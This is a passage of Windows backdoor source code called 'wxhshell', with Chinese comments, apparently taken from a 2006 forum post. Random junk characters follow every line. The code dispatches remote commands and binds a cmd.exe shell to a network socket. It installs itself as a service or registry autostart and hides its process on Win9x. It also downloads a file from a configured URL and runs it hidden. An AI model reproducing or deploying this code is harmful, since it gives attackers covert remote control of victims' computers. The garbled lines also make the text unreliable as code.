  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~SBW`=aP}  
  } 3(J>aQZuI  
  else { Tx&H1  
|0F o{  
    switch(cmd[0]) { HLz<C  
  z)KoK`\mE"  
  // 帮助 r)>'cjx/  
  case '?': { 6 [XaIco=C  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); gYbvCs8O!  
    break; :/? Op  
  } wMF1HT<*  
  // 安装 yT3K 2A  
  case 'i': { .w m<l:  
    if(Install()) =#TQXm']Gi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X+emJ&Z$@  
    else 3H"F~_H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -{eiV0<^  
    break; \iEJ9V  
    } mNe908Yw  
  // 卸载 ZQz;EV!  
  case 'r': { hhjsg?4uL  
    if(Uninstall()) cv_O2Q4,@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jz;`L3m  
    else aM[fag$c  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qy\SOA h  
    break; _;(Q MeR  
    } 3kJSz-_M  
  // 显示 wxhshell 所在路径 Pd  6  
  case 'p': { jq/{|<0  
    char svExeFile[MAX_PATH]; mn<ea&  
    strcpy(svExeFile,"\n\r"); &:+_{nc,  
      strcat(svExeFile,ExeFile); rUiUv(q  
        send(wsh,svExeFile,strlen(svExeFile),0); _x#r,1V+D  
    break; ~ C_2D?  
    } 4P24ySy9F  
  // 重启 '?fn} V  
  case 'b': { p|*b] 36  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;rF:$37^  
    if(Boot(REBOOT)) oDA'}[/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q([g1?F9*  
    else { V|0UwS\n  
    closesocket(wsh); >y q L  
    ExitThread(0); {24Pv#ZG#^  
    } Sag\wKV8  
    break; 0$nJd_gW_  
    } @1[LD[<  
  // 关机 XlNB9\"5  
  case 'd': { r?2C%GI`  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]7"mt2Q=3  
    if(Boot(SHUTDOWN)) V'?nS&,i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1-gX=8]]  
    else { 8i"{GGVC  
    closesocket(wsh); B "}GAk}V  
    ExitThread(0); 7,LT4wYH  
    } <$9AP  
    break; )'<zC  
    } \J\1i=a-=  
  // 获取shell %BHq2~J  
  case 's': { RMrt4:-DI  
    CmdShell(wsh); eZJOI1wNp  
    closesocket(wsh); >"nk}@  
    ExitThread(0); %I=J8$B]f  
    break; ,wEM  
  } q{JD]A:  
  // 退出 =O _[9kuJ  
  case 'x': { P?uKDON  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6<~y!\4;F  
    CloseIt(wsh); u})JQ<|  
    break; g%[Ruugu  
    } |)_<JAN  
  // 离开 (c_hX(  
  case 'q': { 5Np.&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); LtvyWc`  
    closesocket(wsh); hP#&]W3:  
    WSACleanup(); -T(V6&'Qi  
    exit(1); / q!&I  
    break; ^~I  
        } +[7u>RJ  
  } ,?f(~<Aj  
  } Y{'G2)e  
O&0R ~<n  
  // 提示信息 d16 PY_  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *Ee# x!O  
} u60l-  
  } xMh&C{q  
?0<3"2Db~  
  return; ZtT`_G&  
} ^YZ#P0 y  
1FX-#Y`e  
// shell模块句柄 x/<. ?[A  
int CmdShell(SOCKET sock) #75;%a8  
{ dA~6{*)  
STARTUPINFO si; 'mM5l*{  
ZeroMemory(&si,sizeof(si)); sig_2;  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?m.4f&X  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >j?uI6Uw  
PROCESS_INFORMATION ProcessInfo; o_5@R+&  
char cmdline[]="cmd"; b6(yyYdF  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 57}q'84  
  return 0; \CGcP  
} A!~o?ej  
(65p/$Vh  
// 自身启动模式 z=U!D `]v  
int StartFromService(void) \4[Ta,;t  
{ (!(bysi9  
typedef struct L5W>in5(  
{ [`lAc V<  
  DWORD ExitStatus; `4qKQJw  
  DWORD PebBaseAddress; ~83P09\T%  
  DWORD AffinityMask; #rwR)9iC0  
  DWORD BasePriority; /~[R u  
  ULONG UniqueProcessId; 2 *$n?  
  ULONG InheritedFromUniqueProcessId; e{,/  
}   PROCESS_BASIC_INFORMATION; v(O.GhJ@  
=.c"&,c?L  
PROCNTQSIP NtQueryInformationProcess; 4#w^PM8}  
h(-&.Sm")H  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7fqYSMHR  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Ul Iw&U  
bRK9Qt#3  
  HANDLE             hProcess; 3@L%#]xwi  
  PROCESS_BASIC_INFORMATION pbi; 2LU'C,o?  
?s]`G'=>V`  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Fe .*O`  
  if(NULL == hInst ) return 0; s|'L0` <B  
pS;dvZ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 9_3M}|V$^e  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [\1l4C  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); eZi<C}z  
~~,<+X:  
  if (!NtQueryInformationProcess) return 0; #8jd,I% L  
F948%?a  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); h :R)KM  
  if(!hProcess) return 0; N sL"p2w~  
Rjl__90  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +.I'U9QeUN  
#+0 R!Y  
  CloseHandle(hProcess); KT71%?P  
)g _zPt  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #7h fEAk  
if(hProcess==NULL) return 0; XD}_9p  
d Al<'~g  
HMODULE hMod; iGLYM-  
char procName[255]; {2r7:nvR  
unsigned long cbNeeded; 9G+rxyWMW  
XH$|DeAFM  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); A> A'dQ69  
wlg#c6#q  
  CloseHandle(hProcess); l$_rA~Mo  
0f/!|c  
if(strstr(procName,"services")) return 1; // 以服务启动 v^fOT5\  
98'XSL|  
  return 0; // 注册表启动 `0|&T;7  
} '/g+;^_cB  
}F6b ]  
// 主模块 $ n[7  
int StartWxhshell(LPSTR lpCmdLine) PM!t"[@&  
{ !13 /+ u  
  SOCKET wsl; AiK4t-  
BOOL val=TRUE; arVf"3a  
  int port=0; WV"QY/e3  
  struct sockaddr_in door; }AZx/[k |z  
luk2fi<$  
  if(wscfg.ws_autoins) Install(); 'xoE [0!  
9k[},MM  
port=atoi(lpCmdLine); .+L_!A  
{<4?o? 1 g  
if(port<=0) port=wscfg.ws_port; 42wC."A  
qZ_fQ@   
  WSADATA data; `+Z#*lj|@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5>[sCl-  
{&u7kWD|  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   G:C6`uiy`  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #s R0*  
  door.sin_family = AF_INET; um2s^G  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); c0Ro3j\p  
  door.sin_port = htons(port); NF(IF.8G  
}rA+W-7  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { * r4/|.l  
closesocket(wsl); 7  cP[o+  
return 1; EJ;0ypbG  
} xgqv2s>L  
r,@X>_}  
  if(listen(wsl,2) == INVALID_SOCKET) { Dw/Gha/  
closesocket(wsl); = *;Xc-_  
return 1; |U$de2LF  
} hB$Y4~T%  
  Wxhshell(wsl); QD;f~fZ  
  WSACleanup(); vWi. []  
cvXI]+`<3\  
return 0; &Bz7fKCo  
. (*kgv@3x  
} ZR-s{2sl  
.UhBvHH  
// 以NT服务方式启动 *[1u[H9Cv  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) cYWy\+  
{ EfBVu  
DWORD   status = 0; 0.BUfuuh  
  DWORD   specificError = 0xfffffff; *v nxP9<  
:CkR4J!m3  
  serviceStatus.dwServiceType     = SERVICE_WIN32; & A9A#It  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; q'Pz3/mk  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; O *J_+6  
  serviceStatus.dwWin32ExitCode     = 0; m~j\?mb{+  
  serviceStatus.dwServiceSpecificExitCode = 0; mQ ^ @ \s  
  serviceStatus.dwCheckPoint       = 0; {Sr=SE  
  serviceStatus.dwWaitHint       = 0; [ 4Y `O  
bDFCZH-:'O  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); q ~Q)'*m  
  if (hServiceStatusHandle==0) return; s{z~Axup-  
o ,Tr^e$  
status = GetLastError(); Q{l*62Bx  
  if (status!=NO_ERROR) n:bB$Ai2  
{ [*?_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Mi/ &$" =  
    serviceStatus.dwCheckPoint       = 0; ^0s\/qyqm  
    serviceStatus.dwWaitHint       = 0; 16[-3cJ T  
    serviceStatus.dwWin32ExitCode     = status; )p!*c,  
    serviceStatus.dwServiceSpecificExitCode = specificError; pg?i F1  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); s7.p$r  
    return; ^0`<k  
  } sR>`QIi(a  
mP)3cc5T  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Yt/SnF  
  serviceStatus.dwCheckPoint       = 0; :zj9%4A  
  serviceStatus.dwWaitHint       = 0; %CxEZPe$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $@_<$t  
} Q_QKm0!  
S7UZGGjTk  
// 处理NT服务事件,比如:启动、停止 joChML_  
VOID WINAPI NTServiceHandler(DWORD fdwControl) F%PwIB~cy  
{ `\/toddUh[  
switch(fdwControl) dcl.wD0~V  
{ X/E7o92\  
case SERVICE_CONTROL_STOP: >&<<8Ln  
  serviceStatus.dwWin32ExitCode = 0; ^zaKO'KcV  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; C@y}*XV[b  
  serviceStatus.dwCheckPoint   = 0; N ;Z`%&  
  serviceStatus.dwWaitHint     = 0; c7+Djqs  
  { ?~aZ#%*i8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); " K 8&{=  
  } m/YH^N0  
  return; @%EE0)IA  
case SERVICE_CONTROL_PAUSE: Ic[}V0dk  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $5TepH0D  
  break;  Y8)E]D  
case SERVICE_CONTROL_CONTINUE: :W.jNV{e\F  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; & Fg|%,fv]  
  break; %6NO0 F^  
case SERVICE_CONTROL_INTERROGATE: /OQK/ t63  
  break; JcTp(fnW.~  
}; IPl@ DH  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~lzdbX  
} 4GG1E. z}  
r-RCe3%g%  
// 标准应用程序主函数 \C]i|]tl  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) V I6\   
{ V19e>  
Q7,EY /  
// 获取操作系统版本 Q~fwWp-J  
OsIsNt=GetOsVer(); Qs|OG  
GetModuleFileName(NULL,ExeFile,MAX_PATH); T)WZ_bR  
:8p&#M  
  // 从命令行安装 HQq`pG%m6  
  if(strpbrk(lpCmdLine,"iI")) Install(); #/ OUGeJ  
)46 0 Ed  
  // 下载执行文件 cCM j\H@  
if(wscfg.ws_downexe) { FE/$(7rM  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) M[ x_#m|  
  WinExec(wscfg.ws_filenam,SW_HIDE); pu FXPw.3  
} '5'3_vM  
?22d},.  
if(!OsIsNt) { 8@E8!w&~  
// 如果时win9x,隐藏进程并且设置为注册表启动 ?n!lUr$:y  
HideProc(); hP?7zz$*j  
StartWxhshell(lpCmdLine); g[/^cJHQ  
} 2 9q?$V(  
else "Dyym<J  
  if(StartFromService()) sz'p3  
  // 以服务方式启动 Z[Wlyb0  
  StartServiceCtrlDispatcher(DispatchTable); r)VLf#3B  
else +H7y/#e+3  
  // 普通方式启动 K} +S+ *_  
  StartWxhshell(lpCmdLine); #C4|@7w%  
SU/G)&Mi  
return 0; sp|q((z{  
}
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只看该作者 1 发表于: 2006-10-10
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